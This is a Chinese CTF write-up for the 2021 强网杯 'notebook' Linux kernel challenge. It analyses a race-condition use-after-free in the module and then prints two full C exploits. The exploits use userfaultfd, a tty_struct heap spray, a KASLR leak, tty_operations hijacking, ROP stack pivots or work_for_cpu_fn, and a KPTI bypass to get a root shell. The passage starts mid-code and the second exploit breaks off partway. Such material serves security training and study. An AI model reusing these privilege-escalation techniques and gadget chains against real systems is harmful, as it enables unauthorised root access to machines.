if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}
## 0x02.强网杯2021线上赛 – notebook
### 简单分析
首先看一下启动脚本
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s
开了 smap、smep、kaslr 保护
查看 `/sys/devices/system/cpu/vulnerabilities/`
开启了 KPTI （内核页表隔离）
给了一个 LKM 叫 `notebook.ko`，按惯例这应当就是有漏洞的模块了，拖入 IDA 进行分析
大致是创建了一个 misc 类型的设备，并自定义了 ioctl、read、write 三个接口
**1）note 结构体**
定义了一个结构体 `note`，有着两个成员：size 存储 cache 的大小，buf 存储指向对应 cache 的指针
typedef struct
{
size_t size;
char * buf;
}note;
**2）mynote_ioctl**
对于 ioctl 通信，该模块模拟了一个菜单（ ~~又是菜单堆~~ ），提供了创建、编辑、释放内存的功能
我们需要传入的参数为如下结构体：
typedef struct
{
size_t idx;
size_t size;
char * buf;
}userarg;
**noteadd()**
noteadd() 会向 slub 申请 object，其中限制了我们只能够分配 0x60 以下的 note，此时不会直接将用户数据拷贝到刚分配的 note
中，而是拷贝到全局变量字符数组 `name` 中
**notedel()**
这个函数主要用处是释放先前分配的 note
注意到在 notedel() 函数中若是 size 为 0 则不会清空，不过与 ptmalloc 所不同的是，kmalloc(0) 并不会返回 object
这里还有一个读写锁，不过 add 和 edit 占用的是 **读** 位，而 delete 占用的是 **写**
位，通俗地说便是：读锁可以被多个进程使用，多个进程此时可以同时进入临界区，而写锁只能被一个进程使用，只有一个进程能够进入临界区
**noteedit()**
编辑我们的 notebook 中的 object，若是 size 不同则会调用 krealloc，并将用户空间数据拷贝 256 字节至全局变量 name
中，否则直接返回，与 add 所不同的是 edit 并不会限制 size 大小，因此 **虽然 add 限制了 size，但是通过 edit
我们仍能获得任意大小的 object**
在这里存在一个漏洞：edit 使用的是读锁，可以多个进程并发 `realloc(buf, 0)` ，通过条件竞争达到 double free 的效果
**notegift()**
notegift() 函数会白给出分配的 note 的地址
**3）mynote_read**
很普通的读取对应 note 内容的功能，读取的大小为 notebook 结构体数组中存的 size，下标为 read 传入的第三个参数
**4）mynote_write**
很普通的写入对应 note 内容的功能，写入的大小为 notebook 结构体数组中存的 size，下标为 write 传入的第三个参数
### 解法一：userfaultfd + heap spray + Kernel UAF + stack migration + KPTI bypass
**1）userfaultfd 构造 UAF**
考虑到在 mynote_edit 当中使用了 krealloc 来重分配 object，随后使用 copy_fom_user
从用户空间拷贝数据，那么这里我们可以先分配一个 tty_struct 大小的 note，之后 **新开 edit 线程通过 krealloc
一个较大的数将其释放** ，并通过 userfaultfd 让 mynote_edit 卡在这里， **此时 notebook 数组中的 object
尚未被清空，仍是原先被释放了的 object**
接下来我们进行 **堆喷射** ：多次打开 `/dev/ptmx`，由此我们便有可能 **将刚释放的 object 申请到 tty_struct 中**
但在 read 和 write 中都会用 `_check_object_size` 检查 size 与 buf 大小是否匹配，在 mynote_add
当中限制了 size 应当不大于 0x60，而我们在 mynote_edit 中的释放操作之前会将 size 改掉
考虑到在 mynote_add 中先用 copy_from_user 拷贝数据后才调用 kmalloc，故这里还是可以新开 add 线程让 size
合法后通过 userfaultfd 让其卡在这里
> 我们可以通过检查 object 开头的数据是否为 tty 魔数 `0x5401` 判断是否分配到了 tty_struct
**2）泄露内核地址**
由于我们已经获得了一个 tty_struct，故可以直接通过 tty_struct 中的 tty_operations 泄露地址
**ptm_unix98_ops&& pty_unix98_ops**
在 ptmx 被打开时内核通过 `alloc_tty_struct()` 分配 tty_struct 的内存空间，之后会将 tty_operations
初始化为 **全局变量** `ptm_unix98_ops` 或 `pty_unix98_ops`，在调试阶段我们可以先关掉 kaslr 开 root 从
`/proc/kallsyms` 中读取其偏移
开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度，故我们可以通过比对 tty_operations 地址的低三16进制位来判断是
ptm_unix98_ops 还是 pty_unix98_ops
**3）劫持 tty_operations**
由于题目开启了 smap 保护，我们不能够直接将 fake tty_operations 放置到用户空间当中，但 notegift() 会白给出
notebook 里存的 note 的地址，那么我们可以把 fake tty_operations 布置到 note 当中
接下来进行栈迁移的工作，我们这里考虑劫持 tty_operations->write，简单下个断点看看环境：
可以发现当程序运行到这里时 rdi 寄存器中存储的刚好是 tty_struct 的地址，笔者选择通过下面这条 gadget 将栈迁移到
tty_struct：
tty_struct 比较小，而且很多数据不能动，这里笔者再进行第二次栈迁移迁回 tty_operations：
tty_operation 开头到 write 的空间比较小，笔者选择再进行第三次栈迁移到一个 note 中，在那里完成我们的 ROP
// first migration to tty_struct
((struct tty_operations *)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;
// second migration back to tty_operations
fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset;
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;
// third migration to a note
fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset;
fake_tty_ops_data[2] = notebook[fake_stack_idx].buf;
fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;
**4）KPTI bypass**
由于开启了 KPTI（内核页表隔离），故我们在返回用户态之前还需要将我们的用户进程的页表给切换回来
众所周知 Linux 采用 **四级页表** 结构（PGD->PUD->PMD->PTE），而 CR3 控制寄存器用以存储当前的 PGD 的地址，因此在开启
KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换，为了提高切换的速度，内核将内核空间的 PGD 与用户空间的 PGD
两张页全局目录表放在一段连续的内存中（两张表，一张一页4k，总计8k，内核空间的在低地址，用户空间的在高地址），这样 **只需要将 CR3 的第 13
位取反便能完成页表切换的操作**
内核也相应地在 `arch/x86/entry/entry_64.S` 中提供了一个用于完成内核态到用户态切换的函数
`swapgs_restore_regs_and_return_to_usermode`，地址可以在 `/proc/kallsyms` 中获得
AT&T 汇编比较反人类，推荐直接查看 IDA 的反汇编结果：
在实际操作时前面的一些栈操作都可以跳过，直接从 `mov rdi, rsp` 开始，这个函数大概可以总结为如下操作：
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq
因此我们只需要布置出如下栈布局即可：
↓ swapgs_restore_regs_and_return_to_usermode
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss
最终的 exp 如下：
> kernelpwn.h
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
static pthread_t monitor_thread;
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}
/* ------ kernel structure ------ */
struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};
> exp.c
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"
#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929
#define PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50
#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c
#define POP_RDI_RET 0xffffffff81007115
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833 // mov rdi, rax; xor eax, eax; cmp rdi, 0x9000000; je 0x245843; pop rbp; ret;
#define POP_RDX_RET 0xffffffff81358842
#define RET 0xffffffff81000091
#define SWAPGS_POP_RBP_RET 0xffffffff810637d4
#define IRETQ 0xffffffff810338bb
#define POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1
#define POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38
#define POP_RBP_RET 0xffffffff81000367
#define POP_RBX_POP_RBP_RET 0xffffffff81002141
#define POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7
#define TTY_STRUCT_SIZE 0x2e0
static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd
static char *page = NULL;
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
sleep(100);
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
long note_fd;
typedef struct
{
size_t idx;
size_t size;
char * buf;
} Note;
void noteAdd(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, ¬e);
}
void noteAddWrapper(void * args)
{
Note * note = (Note*) args;
noteAdd(note->idx, note->size, note->buf);
}
void noteDel(size_t idx)
{
Note note =
{
.idx = idx,
};
ioctl(note_fd, 0x200, ¬e);
}
void noteEdit(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, ¬e);
}
void noteEditWrapper(void * args)
{
Note * note = (Note*) args;
noteEdit(note->idx, note->size, note->buf);
}
void noteGift(char * buf)
{
Note note =
{
.buf = buf,
};
ioctl(note_fd, 100, ¬e);
}
void evilAdd(void * args)
{
sem_wait(&sem_add);
noteAdd((int)args, 0x50, buf);
}
void evilEdit(void * args)
{
sem_wait(&sem_edit);
noteEdit((int)args, 0x2000, buf);
}
struct
{
void * buf;
size_t size;
} notebook[0x10];
int main(int argc, char ** argv, char ** envp)
{
int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, fake_stack_idx = -1, hit_tty = 0;
size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100];
pthread_t tmp_t, add_t, edit_t;
Note note;
saveStatus();
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);
note_fd = open("/dev/notebook", O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page = malloc(0x1000);
strcpy(page, "arttnba3");
page_size = sysconf(_SC_PAGE_SIZE);
// register userfaultfd
registerUserFaultFd(buf, 0x1000, fault_handler_thread);
// initialize the notebook
for (int i = 0; i < 0x10; i++)
{
noteAdd(i, 0x20, page);
noteEdit(i, TTY_STRUCT_SIZE, page);
}
puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");
sleep(1);
// get all the note free and get the threads stuck by userfaultfd to save their ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&edit_t, NULL, evilEdit, (void*)i);
puts("\033[34m\033[1m[*] Edit threads started.\033[0m");
for (int i = 0; i < 0x10; i++)
sem_post(&sem_edit);
puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");
sleep(1);
// heap spraying to hit the tty_struct
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);
// change the size stored in notebook to pass _check_object_size and get the threads stuck by userfaultfd to save the ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&add_t, NULL, evilAdd, (void*)i);
puts("\033[34m\033[1m[*] Add threads started.\033[0m");
for (int i = 0; i < 0x10; i++)
sem_post(&sem_add);
puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");
sleep(1);
// check whether we've hit the tty_struct
noteGift((char*) notebook);
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (hit_tty = (*((int*)tty_data) == 0x5401))
{
printf("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n", tty_idx = i);
printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf);
break;
}
}
if (!hit_tty)
errExit("Failed to hit the tty struct.");
// get kernel base
tty_ops = *(unsigned long long*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n", SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);
// find available note as fake tty_ops and fake stack
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (*((int*)tty_data) != 0x5401)
{
if (fake_tty_ops_idx == -1)
printf("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n", fake_tty_ops_idx = i);
else
{
printf("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n", fake_stack_idx = i);
break;
}
}
}
if (fake_tty_ops_idx == -1 || fake_stack_idx == -1)
errExit("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs.");
// adjust the size of the object
noteEdit(fake_tty_ops_idx, sizeof(struct tty_operations), fake_tty_data);
noteEdit(fake_stack_idx, 0x100, rop);
noteGift((char*) notebook);
printf("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf);
printf("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n", notebook[fake_stack_idx].buf);
// restore tty_struct data
read(note_fd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);
// first migration to tty_struct
((struct tty_operations *)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;
// second migration back to tty_operations
fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset;
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;
// third migration to a note
fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset;
fake_tty_ops_data[2] = notebook[fake_stack_idx].buf;
fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;
// final rop
int rop_idx = 0;
rop[rop_idx++] = 0x3361626e74747261; //arttnba3
rop[rop_idx++] = POP_RDI_RET + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = prepare_kernel_cred;
rop[rop_idx++] = POP_RDX_RET + kernel_offset;
rop[rop_idx++] = RET;
rop[rop_idx++] = MOV_RDI_RAX_POP_RBP_RET + kernel_offset;
rop[rop_idx++] = 0x3361626e74747261; //arttnba3
rop[rop_idx++] = commit_creds;
rop[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = 0;
rop[rop_idx++] = (size_t) &getRootShell;
rop[rop_idx++] = user_cs;
rop[rop_idx++] = user_rflags;
rop[rop_idx++] = user_sp;
rop[rop_idx++] = user_ss;
write(note_fd, rop, fake_stack_idx); // copy the ropchain
write(note_fd, fake_tty_ops_data, fake_tty_ops_idx); // hijack the tty_operations
write(note_fd, fake_tty_data, tty_idx); // hijack the tty_struct
puts("\033[32m\033[1m[+] TTY DATA hijack done.\033[0m");
// exploit
puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
for (int i = 0; i < 0x80; i++)
write(tty_fd[i], page, 233);
return 0;
}
运行即可成功提权到 root
> 经笔者多次测试，在开头的几步操作结束后都 sleep(1) 会 **极大地提高利用的稳定性** （主要是等待多个线程启动完成），不过由于资源限制所能喷的
> tty_struct 就少了些（但也够用了）
### 解法二：userfaultfd + heap spray + kernel UAF
> 参考了[长亭的WP](https://zhuanlan.zhihu.com/p/385645268)
前半部分与解法一基本上相同，但是在劫持 tty_struct 后并不是通过复杂的多次栈迁移进行利用，而是通过一个更为稳定的函数——
**work_for_cpu_fn 稳定化利用**
在开启了多核支持的内核中都有这个函数，定义于 `kernel/workqueue.c` 中：
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};
static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
wfc->ret = wfc->fn(wfc->arg);
}
简单分析可知该函数可以理解为如下形式：
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}
即 `rdi + 0x20` 处作为函数指针执行，参数为 `rdi + 0x28` 处值，返回值存放在 `rdi + 0x30` 处，由此我们可以
**很方便地分次执行 prepare_kernel_cred 和 commit_creds，完成稳定化提权**
与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write，因为 tty_struct[4] 处成员
`ldisc_sem` 为信号量，在执行到 work_for_cpu_fn 之前 **该值会被更改**
需要注意的是 tty_operations 中的 ioctl 并不是直接执行的，此前需要经过多道检查，因此我们应当传入恰当的参数
exp如下：
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"
#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define TTY_STRUCT_SIZE 0x2e0
static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd
static char *page = NULL;
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
sleep(100);
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
long note_fd;
typedef struct
{
size_t idx;
size_t size;
char * buf;
} Note;
void noteAdd(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, ¬e);
}
void noteAddWrapper(void * args)
{
Note * note = (Note*) args;
noteAdd(note->idx, note->size, note->buf);
}
void noteDel(size_t idx)
{
Note note =
{
.idx = idx,
};
ioctl(note_fd, 0x200, ¬e);
}
void noteEdit(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, ¬e);
}
void noteEditWrapper(void * args)
{
Note * note = (Note*) args;
noteEdit(note->idx, note->size, note->buf);
}
void noteGift(char * buf)
{
Note note =
{
.buf = buf,
};
ioctl(note_fd, 100, ¬e);
}
void evilAdd(void * args)
{
sem_wait(&sem_add);
noteAdd((int)args, 0x50, buf);
}
void evilEdit(void * args)
{
sem_wait(&sem_edit);
noteEdit((int)args, 0x2000, buf);
}
struct
{
void * buf;
size_t size;
} notebook[0x10];
int main(int argc, char ** argv, char ** envp)
{
int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, hit_tty = 0;
size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100];
pthread_t tmp_t, add_t, edit_t;
Note note;
saveStatus();
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);
note_fd = open("/dev/notebook", O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page = malloc(0x1000);
strcpy(page, "arttnba3");
page_size = sysconf(_SC_PAGE_SIZE);
// register userfaultfd
registerUserFaultFd(buf, 0x1000, fault_handler_thread);
// initialize the notebook
for (int i = 0; i < 0x10; i++)
{
noteAdd(i, 0x20, page);
noteEdit(i, TTY_STRUCT_SIZE, page);
}
puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");
sleep(1);
// get all the note free and get the threads stuck by userfaultfd to save their ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&edit_t, NULL, evilEdit, (void*)i);
puts("\033[34m\033[1m[*] Edit threads started.\033[0m");
for (int i = 0; i < 0x10; i++)
sem_post(&sem_edit);
puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");
sleep(1);
// heap spraying to hit the tty_struct
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);
// change the size stored in notebook to pass _check_object_size and get the threads stuck by userfaultfd to save the ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&add_t, NULL, evilAdd, (void*)i);
puts("\033[34m\033[1m[*] Add threads started.\033[0m");
for (int i = 0; i < 0x10; i++)
sem_post(&sem_add);
puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");
sleep(1);
// check whether we've hit the tty_struct
noteGift((char*) notebook);
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (hit_tty = (*((int*)tty_data) == 0x5401))
{
printf("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n", tty_idx = i);
printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf);
break;
}
}
if (!hit_tty)
errExit("Failed to hit the tty struct.");
// get kernel base
tty_ops = *(unsigned long long*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf("\033[32m\033[1m[+] work_for_cpu_fn: \033[0m%p\n", WORK_FOR_CPU_FN + kernel_offset);
// find available note as fake tty_ops and fake stack
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (*((int*)tty_data) != 0x5401)
{
if (fake_tty_ops_idx == -1)
{
printf("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n", fake_tty_ops_idx = i);
break;
}
}
}
if (fake_tty_ops_idx == -1)
errExit("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs.");
// adjust the size of the object
noteEdit(fake_tty_ops_idx, sizeof(struct tty_operations), fake_tty_data);
noteGift((char*) notebook);
printf("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf);
// hijack the ioctl
((struct tty_operations *)fake_tty_ops_data)->ioctl = WORK_FOR_CPU_FN + kernel_offset;
write(note_fd, fake_tty_ops_data, fake_tty_ops_idx);
/* ---- prepare_kernel_cred(NULL) ----*/
// store tty_struct data
read(note_fd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);
// set params in fake tty_struct
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = prepare_kernel_cred;
